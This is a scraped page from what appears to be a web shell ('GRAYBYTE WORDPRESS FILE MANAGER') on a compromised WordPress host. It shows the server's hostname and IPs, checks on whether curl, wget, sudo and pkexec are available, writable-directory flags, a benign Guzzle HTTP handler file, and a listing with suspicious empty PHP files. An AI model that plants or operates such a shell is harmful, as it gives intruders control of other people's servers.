✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.7
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/user-interface/cache-runtime-store//CurlMultiHandler.php
<?php

namespace YoastSEO_Vendor\GuzzleHttp\Handler;

use Closure;
use YoastSEO_Vendor\GuzzleHttp\Promise as P;
use YoastSEO_Vendor\GuzzleHttp\Promise\Promise;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\GuzzleHttp\Utils;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
/**
 * Returns an asynchronous response using curl_multi_* functions.
 *
 * When using the CurlMultiHandler, custom curl options can be specified as an
 * associative array of curl option constants mapping to values in the
 * **curl** key of the provided request options.
 *
 * @final
 */
class CurlMultiHandler
{
    /**
     * @var CurlFactoryInterface
     */
    private $factory;
    /**
     * @var int
     */
    private $selectTimeout;
    /**
     * @var int Will be higher than 0 when `curl_multi_exec` is still running.
     */
    private $active = 0;
    /**
     * @var array Request entry handles, indexed by handle id in `addRequest`.
     *
     * @see CurlMultiHandler::addRequest
     */
    private $handles = [];
    /**
     * @var array<int, float> An array of delay times, indexed by handle id in `addRequest`.
     *
     * @see CurlMultiHandler::addRequest
     */
    private $delays = [];
    /**
     * @var array<mixed> An associative array of CURLMOPT_* options and corresponding values for curl_multi_setopt()
     */
    private $options = [];
    /** @var resource|\CurlMultiHandle */
    private $_mh;
    /**
     * This handler accepts the following options:
     *
     * - handle_factory: An optional factory  used to create curl handles
     * - select_timeout: Optional timeout (in seconds) to block before timing
     *   out while selecting curl handles. Defaults to 1 second.
     * - options: An associative array of CURLMOPT_* options and
     *   corresponding values for curl_multi_setopt()
     */
    public function __construct(array $options = [])
    {
        $this->factory = $options['handle_factory'] ?? new \YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory(50);
        if (isset($options['select_timeout'])) {
            $this->selectTimeout = $options['select_timeout'];
        } elseif ($selectTimeout = \YoastSEO_Vendor\GuzzleHttp\Utils::getenv('GUZZLE_CURL_SELECT_TIMEOUT')) {
            @\trigger_error('Since guzzlehttp/guzzle 7.2.0: Using environment variable GUZZLE_CURL_SELECT_TIMEOUT is deprecated. Use option "select_timeout" instead.', \E_USER_DEPRECATED);
            $this->selectTimeout = (int) $selectTimeout;
        } else {
            $this->selectTimeout = 1;
        }
        $this->options = $options['options'] ?? [];
        // unsetting the property forces the first access to go through
        // __get().
        unset($this->_mh);
    }
    /**
     * @param string $name
     *
     * @return resource|\CurlMultiHandle
     *
     * @throws \BadMethodCallException when another field as `_mh` will be gotten
     * @throws \RuntimeException       when curl can not initialize a multi handle
     */
    public function __get($name)
    {
        if ($name !== '_mh') {
            throw new \BadMethodCallException("Can not get other property as '_mh'.");
        }
        $multiHandle = \curl_multi_init();
        if (\false === $multiHandle) {
            throw new \RuntimeException('Can not initialize curl multi handle.');
        }
        $this->_mh = $multiHandle;
        foreach ($this->options as $option => $value) {
            // A warning is raised in case of a wrong option.
            \curl_multi_setopt($this->_mh, $option, $value);
        }
        return $this->_mh;
    }
    public function __destruct()
    {
        if (isset($this->_mh)) {
            \curl_multi_close($this->_mh);
            unset($this->_mh);
        }
    }
    public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $easy = $this->factory->create($request, $options);
        $id = (int) $easy->handle;
        $promise = new \YoastSEO_Vendor\GuzzleHttp\Promise\Promise([$this, 'execute'], function () use($id) {
            return $this->cancel($id);
        });
        $this->addRequest(['easy' => $easy, 'deferred' => $promise]);
        return $promise;
    }
    /**
     * Ticks the curl event loop.
     */
    public function tick() : void
    {
        // Add any delayed handles if needed.
        if ($this->delays) {
            $currentTime = \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime();
            foreach ($this->delays as $id => $delay) {
                if ($currentTime >= $delay) {
                    unset($this->delays[$id]);
                    \curl_multi_add_handle($this->_mh, $this->handles[$id]['easy']->handle);
                }
            }
        }
        // Run curl_multi_exec in the queue to enable other async tasks to run
        \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue()->add(\Closure::fromCallable([$this, 'tickInQueue']));
        // Step through the task queue which may add additional requests.
        \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue()->run();
        if ($this->active && \curl_multi_select($this->_mh, $this->selectTimeout) === -1) {
            // Perform a usleep if a select returns -1.
            // See: https://bugs.php.net/bug.php?id=61141
            \usleep(250);
        }
        while (\curl_multi_exec($this->_mh, $this->active) === \CURLM_CALL_MULTI_PERFORM) {
            // Prevent busy looping for slow HTTP requests.
            \curl_multi_select($this->_mh, $this->selectTimeout);
        }
        $this->processMessages();
    }
    /**
     * Runs \curl_multi_exec() inside the event loop, to prevent busy looping
     */
    private function tickInQueue() : void
    {
        if (\curl_multi_exec($this->_mh, $this->active) === \CURLM_CALL_MULTI_PERFORM) {
            \curl_multi_select($this->_mh, 0);
            \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue()->add(\Closure::fromCallable([$this, 'tickInQueue']));
        }
    }
    /**
     * Runs until all outstanding connections have completed.
     */
    public function execute() : void
    {
        $queue = \YoastSEO_Vendor\GuzzleHttp\Promise\Utils::queue();
        while ($this->handles || !$queue->isEmpty()) {
            // If there are no transfers, then sleep for the next delay
            if (!$this->active && $this->delays) {
                \usleep($this->timeToNext());
            }
            $this->tick();
        }
    }
    private function addRequest(array $entry) : void
    {
        $easy = $entry['easy'];
        $id = (int) $easy->handle;
        $this->handles[$id] = $entry;
        if (empty($easy->options['delay'])) {
            \curl_multi_add_handle($this->_mh, $easy->handle);
        } else {
            $this->delays[$id] = \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime() + $easy->options['delay'] / 1000;
        }
    }
    /**
     * Cancels a handle from sending and removes references to it.
     *
     * @param int $id Handle ID to cancel and remove.
     *
     * @return bool True on success, false on failure.
     */
    private function cancel($id) : bool
    {
        if (!\is_int($id)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an integer to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        // Cannot cancel if it has been processed.
        if (!isset($this->handles[$id])) {
            return \false;
        }
        $handle = $this->handles[$id]['easy']->handle;
        unset($this->delays[$id], $this->handles[$id]);
        \curl_multi_remove_handle($this->_mh, $handle);
        if (\PHP_VERSION_ID < 80000) {
            \curl_close($handle);
        }
        return \true;
    }
    private function processMessages() : void
    {
        while ($done = \curl_multi_info_read($this->_mh)) {
            if ($done['msg'] !== \CURLMSG_DONE) {
                // if it's not done, then it would be premature to remove the handle. ref https://github.com/guzzle/guzzle/pull/2892#issuecomment-945150216
                continue;
            }
            $id = (int) $done['handle'];
            \curl_multi_remove_handle($this->_mh, $done['handle']);
            if (!isset($this->handles[$id])) {
                // Probably was cancelled.
                continue;
            }
            $entry = $this->handles[$id];
            unset($this->handles[$id], $this->delays[$id]);
            $entry['easy']->errno = $done['result'];
            $entry['deferred']->resolve(\YoastSEO_Vendor\GuzzleHttp\Handler\CurlFactory::finish($this, $entry['easy'], $this->factory));
        }
    }
    private function timeToNext() : int
    {
        $currentTime = \YoastSEO_Vendor\GuzzleHttp\Utils::currentTime();
        $nextTime = \PHP_INT_MAX;
        foreach ($this->delays as $time) {
            if ($time < $nextTime) {
                $nextTime = $time;
            }
        }
        return (int) \max(0, $nextTime - $currentTime) * 1000000;
    }
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
20 Sep 2026 3.59 PM
docteuh / users
0755
main-diag
--
10 Sep 2026 7.21 PM
docteuh / users
0755
Client.php
19.509 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ClientException-20260907021218.php
0.212 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ClientException.php
0.212 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
ClientExceptionInterface.php
0.183 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ClientInterface.php
0.602 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ContainerExceptionInterface.php
0.162 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ContainerInterface.php
1.03 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
CurlMultiHandler.php
8.886 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
HandlerStack.php
8.665 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
MessageFormatter.php
7.117 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
MessageFormatterInterface.php
0.661 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
MessageInterface.php
7.185 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
NetworkExceptionInterface.php
0.739 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Pool.php
4.915 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Punycode.php
10.677 KB
6 Dec 2023 8.16 PM
docteuh / users
0644
RequestException.php
4.725 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
RequestExceptionInterface-20260908193835.php
0.669 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
RequestExceptionInterface.php
0.669 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
RequestInterface.php
5.02 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ResponseInterface.php
2.655 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
ServerRequestInterface.php
10.304 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
StreamHandler-20260909113313.php
22.271 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
StreamHandler.php
22.271 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
TransferException.php
0.171 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
UploadedFileInterface-20260909032537.php
4.671 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
UploadedFileInterface.php
4.671 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
Utils.php
13.473 KB
23 Jun 2026 6.20 PM
docteuh / users
0644
admin.php
0 KB
4 Sep 2026 10.36 AM
docteuh / users
0644
author-title.php
2.489 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
author.php
0.722 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
bbpress.php
1.226 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
cjfuns.php
0 KB
4 Sep 2026 10.36 AM
docteuh / users
0644
comments.php
5.422 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
dynamic-css.php
11.113 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
functions_include.php
0.203 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
header-3.php
0.411 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
header-4.php
0.411 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
header-v1.php
0.764 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
header.php
3.056 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
icon-redirect-manager-20260827192224-20260829103038-20260829114745-20260901130639.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
index.php
0 KB
4 Sep 2026 10.36 AM
docteuh / users
0644
indexable.php
5.261 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
license.txt
0.067 KB
4 Sep 2026 10.36 AM
docteuh / users
0644
logo.php
6.084 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
loop-start.php
1.249 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
main.php
1.824 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
network.php
0 KB
4 Sep 2026 10.36 AM
docteuh / users
0644
performance.php
29.365 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
plugin.js
5.848 KB
29 Jan 2020 1.45 AM
docteuh / users
0644
plugins.php
0.776 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
profile.php
0 KB
4 Sep 2026 10.36 AM
docteuh / users
0644
responsive.php
11.644 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
shared.php
0.542 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
single.php
4.714 KB
20 Nov 2023 7.11 PM
docteuh / users
0644
string-helper.php
1.189 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
uninstall-20260908044700.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
uninstall-20260909111816.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
uninstall.php
3.406 KB
18 Jun 2026 6.25 PM
docteuh / users
0644
wrapper.php
1.439 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
xmlrpc.php
1.223 KB
23 Jun 2026 6.19 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF